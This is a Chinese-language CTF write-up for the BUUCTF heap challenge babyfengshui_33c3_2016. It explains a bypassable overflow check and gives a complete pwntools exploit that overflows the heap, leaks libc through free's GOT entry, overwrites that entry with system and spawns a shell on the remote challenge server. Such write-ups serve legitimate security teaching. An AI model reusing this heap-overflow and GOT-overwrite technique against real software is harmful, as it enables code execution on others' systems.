【绕过堆溢出限制】BUUCTF babyfengshui_33c3_2016

Thursday, December 29, 2022
本文共1223字
3分钟阅读时长

⚠️本文是作者P3troL1er原创,首发于https://peterliuzhi.top/writeup/%E7%BB%95%E8%BF%87%E5%A0%86%E6%BA%A2%E5%87%BA%E9%99%90%E5%88%B6buuctf-babyfengshui_33c3_2016/。商业转载请联系作者获得授权,非商业转载请注明出处!

In times of change, learners inherit the earth, while the learned find themselves beautifully equipped to deal with a world that no longer exists. — Eric Hoffer

原题链接

查看程序架构

文内图片

ida伪代码

文内图片 文内图片 可以看到是标准的菜单堆题

allocate

文内图片 这里自定义了结构体 文内图片 在ends处按d新建域,光标在具体的域上按d会清空 文内图片 文内图片

这个函数就是一个结构体申请了两片内存:

  1. 结构体固有的0x80字节的内存,第一个域是存放第二片内存的指针,第二个域用于存放一个name
  2. 第二片内存的大小是任意的,但是这里它限制ptr_content + input_size的值不能大于第一个域的内存地址
  3. 因为ptr_content的内存先申请,name的内存后申请,所以在没有free的情况下,ptr_content的内存地址总是小于name的并且紧密相连的,所以这个检测总是能够保证不溢出的 这里明显有一个漏洞,因为我们可以通过将两块内存free到unsorted bin中,再申请一块大小等于两块内存大小之和的内存作为ptr_content的地址,这样name申请的内存地址就会从top_chunk中切出,两者中间的一串chunk就都可以溢出了

remove

文内图片 用不了UAF,也不能通过free到unsorted bin中获取libc

show

文内图片 可以将ptr_content的值改为free的got值,然后就能获得free的地址了

change

文内图片 只更新ptr_content里的值

exp

通过溢出改变ptr_content的值为free_got,然后show出free的地址,计算得到system地址,改变free_got值为system地址即可

# 自动生成头部
from pwn import *
from pwn import p64, p32, u32, u64, p8
from LibcSearcher import LibcSearcher
import ctypes

pss: bool = True
fn: str = "./babyfengshui_33c3_2016"
libc_name: str = "/home/giantbranch/share/share_files/security/buuctf_libc/libc-2.23_32.so"
port: str = "27439"
if_32: bool = True
if_debug:bool = False
pg = p32 if if_32 else p64
ug = u32 if if_32 else u64
context(log_level="debug", arch="i386" if if_32 else "amd64", os="linux")
context.terminal = ["tmux", "splitw", "-h"]
env = {"LD_PRELOAD": libc_name}
if pss:
    p = remote("node4.buuoj.cn", port)
else:
    if if_debug:
        p = gdb.debug(fn, """
                        break main
                        c
                        """)
    else:
        p = process(fn, env=env)
# 两个elf,注意libc的版本
m_elf = ELF(fn)
libc = ELF(libc_name)

def suclog(**kwargs):
    for k, v in kwargs.items():
        if isinstance(v, int):
            success(f"{k} => {hex(v)}")
        else:
            success(f"{k} => {v}")
    
def send_after_clean(content: bytes = b"", until: bytes = None,\
                     timeout: float = 0.05, no_show: bool = True) -> bytes:
    if until is not None:
        p.recvuntil(flat(until))
    received = p.clean(timeout)
    if not no_show:
        info(f"received:\n{received.decode('UTF-8')}")
    p.send(flat(content))
    return received


def sendline_after_clean(content: bytes = b"", until: bytes = None,\
                         timeout: float = 0.05, no_show: bool = True) -> bytes:
    send_after_clean([content, p.newline], until, timeout, no_show)
    
def interactive_after_clean(timeout:int = 0.05, no_show: bool = True):
    received = p.clean(timeout)
    if not no_show:
        info(f"received:\n{received.decode('UTF-8')}")
    p.interactive()

def c_val(value: int, c_type: string) -> bytes:
    type_dict = {
        "long": ctypes.c_long,
        "longlong": ctypes.c_longlong,
        "ulong": ctypes.c_ulong,
        "ulonglong": ctypes.c_ulonglong,
        "int8": ctypes.c_int8,
        "int16": ctypes.c_int16,
        "int32": ctypes.c_int32,
        "int64": ctypes.c_int64,
        "uint8": ctypes.c_uint8,
        "uint16": ctypes.c_uint16,
        "uint32": ctypes.c_uint32,
        "uint64": ctypes.c_uint64,
        "int": ctypes.c_int,
        "char": ctypes.c_char,
        "bool": ctypes.c_bool,
        "float": ctypes.c_float,
        "double": ctypes.c_double,
        "ushort": ctypes.c_ushort,
        "byte": ctypes.c_byte,
        "longdouble": ctypes.c_longdouble,
        "size_t": ctypes.c_size_t,
        "ssize_t": ctypes.c_ssize_t,
        "ubyte": ctypes.c_ubyte
    }
    try:
        return bytes(str(type_dict[c_type](value).value), encoding="UTF-8")
    except:
        try:
            return bytes(str(eval(f"ctypes.c_{c_type}(value).value")), encoding="UTF-8")
        except:
            error(f"无法转换{value}或不存在类型{c_type}")
        
def load_libc(libc_name: str, *args, **kwargs) -> ctypes.CDLL:
    return ctypes.CDLL(libc_name, args, kwargs)
    
def recv_and_transform(prev_string: str = None, from_bytes: bool = True,\
    is_canary: bool = False, bound: str = None) -> int:
    if prev_string is not None:
        p.recvuntil(flat(prev_string))
    if bound is not None:
        bound = flat(bound)
    if from_bytes:
        if bound is not None:
            return ug(p.recvuntil(bound)[:-len(bound)])
        if if_32:
            return ug(p.recv(4))
        else:
            if is_canary:
                return ug(p.recv(7).rjust(8, b"\x00"))
            else:
                return ug(p.recv(6).ljust(8, b"\x00"))
    else:
        if bound is not None:
            return int(p.recvuntil(bound)[:-len(bound)], 16)
        else:
            if if_32:
                return int(p.recv(10), 16)
            else:
                if is_canary:
                    return int(p.recv(18), 16)
                else:
                    return int(p.recv(14), 16)
def formula_compute(formula: bytes, precise: bool = False):
    if isinstance(formula, bytes):
        formula = formula.decode("UTF-8")
    formula = formula.strip()
    formula = formula.strip("\n")
    formula = formula.replace("x", "*")
    formula = formula.replace("^", "**")
    formula = formula.replace("÷", "/")
    if not precise:
        formula = formula.replace("//", "/")
        formula = formula.replace("/", "//")
    return bytes(str(eval(formula)), encoding="UTF-8")
...


def allocate(size: int, name: bytes, content: bytes) -> None:
    sendline_after_clean(b"0")
    sendline_after_clean(str(size))
    sendline_after_clean(name)
    sendline_after_clean(str(len(content)))
    sendline_after_clean(content)

def remove(index: int) -> None:
    sendline_after_clean(b"1")
    sendline_after_clean(str(index))
    
def show(index: int) -> bytes:
    sendline_after_clean(b"2")
    sendline_after_clean(str(index))
    p.recvuntil(b"name: ")
    received = {}
    received['name'] = p.recvline()
    p.recvuntil(b"description: ")
    received['description'] = p.recv(4)
    print(received)
    return received

def change(index: int, content: bytes) -> None:
    sendline_after_clean(b"3")
    sendline_after_clean(str(index))
    sendline_after_clean(str(len(content)))
    sendline_after_clean(content)

allocate(0x80, "1", "0") # 0
allocate(0x80, "/bin/sh\x00", "/bin/sh\x00")# 1
allocate(0x80, "/bin/sh\x00", "/bin/sh\x00")# 2

remove(0)
# gdb.attach(p)
# input()
allocate(0x100, "/bin/sh\x00", "/bin/sh\x00")# 3
# allocate(0x80, "/bin/sh\x00", "/bin/sh\x00")# 4
# gdb.attach(p)
payload = flat([
    b"a"*0x108,
    0, 0x89,
    b"a"*0x80,
    0, 0x89,
    m_elf.got['free']
])
change(3, payload)
# gdb.attach(p)

free_addr = ug(show(1)['description'].ljust(4, b"\x00"))
libc_base = free_addr - libc.sym['free']
system_addr = libc_base + libc.sym['system']

suclog(
    free_addr=free_addr,
    libc_base=libc_base,
    system_addr=system_addr
)

payload = flat(system_addr)
change(1, payload)

remove(2)

interactive_after_clean()